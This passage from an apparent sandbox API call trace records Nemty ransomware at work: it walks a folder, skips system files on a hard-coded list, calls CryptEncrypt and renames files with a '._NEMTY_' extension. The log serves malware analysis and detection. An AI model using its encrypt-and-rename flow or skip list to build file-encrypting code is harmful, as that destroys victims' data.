lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0161.018] CloseHandle (hObject=0xffffffff) returned 0 [0161.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403f0 [0161.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0161.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0161.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404c8 [0161.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x6343fe8 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-full_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-full_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-full_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-full_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0161.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.019] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871947fd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871947fd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b084a2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21ad, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2=".") returned 1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="..") returned 1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="...") returned 1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="windows") returned -1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="$RECYCLE.BIN") returned 1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="rsa") returned -1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="NTDETECT.COM") returned -1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="ntldr") returned -1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="MSDOS.SYS") returned -1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="IO.SYS") returned -1 [0161.019] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="boot.ini") returned 1 [0161.020] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="boot.ini") returned 1 [0161.020] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="AUTOEXEC.BAT") returned 1 [0161.020] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="ntuser.dat") returned -1 [0161.020] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="desktop.ini") returned 1 [0161.020] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="CONFIG.SYS") returned 1 [0161.020] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="RECYCLER") returned -1 [0161.020] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="BOOTSECT.BAK") returned 1 [0161.020] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="bootmgr") returned 1 [0161.020] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="programdata") returned -1 [0161.020] lstrcmpiW (lpString1="docked_black_moon-last-quarter.png", lpString2="appdata") returned 1 [0161.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0161.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-last-quarter.png", lpUsedDefaultChar=0x0) returned 34 [0161.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0161.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0161.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-last-quarter.png", lpUsedDefaultChar=0x0) returned 34 [0161.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0161.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0161.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-last-quarter.png", lpUsedDefaultChar=0x0) returned 34 [0161.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0161.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0161.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter.png", cchWideChar=34, lpMultiByteStr=0x6345640, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-last-quarter.png", lpUsedDefaultChar=0x0) returned 34 [0161.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0161.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0161.021] Sleep (dwMilliseconds=0x5) [0161.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x139f7570, dwHighDateTime=0x1d561e8)) [0161.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x139f7570, dwHighDateTime=0x1d561e8)) [0161.021] GetLastError () returned 0x5 [0161.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.021] GetLastError () returned 0x5 [0161.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0161.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.021] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0161.021] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0161.021] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0161.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0161.021] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="9Ihqns9R1XX1MFnSg4Jm7oE9/jSZ3tWFbJIlMED/lam5sU8d+w2US249KUOVOaa8\r\ndhowx6VAyEbAkx3sKQulHJy/2pAHTSsj5KCPJ/Q/NR22NGtQHX16bFjZHGnYunFV\r\ndmGB1tAeFDvI6rCkvTAdhjMDkaIWc3WN1IgkZwS6ZekPeQFwsfsRxyZZMpZDmr02\r\nokYy3N/1QRbktcBVfe7HtJv7vaWsIquUEdP6C1WRWXjwIIrJsZYw6ZSCQKo7GsP7\r\nEAqwQHeLDSQD5wJcYbKWgtwMt7pl7fds7ZO/2XJF11KYmypahPbVDVR+LSo8jTjG\r\niMg1kMwLWPJeWKjfiZZ3pA==\r\n", pcchString=0x653e91c) returned 1 [0161.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0161.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0161.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0161.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0161.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0161.022] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-last-quarter.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-last-quarter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.022] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0161.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0161.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.032] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.051] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.051] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.051] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.051] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 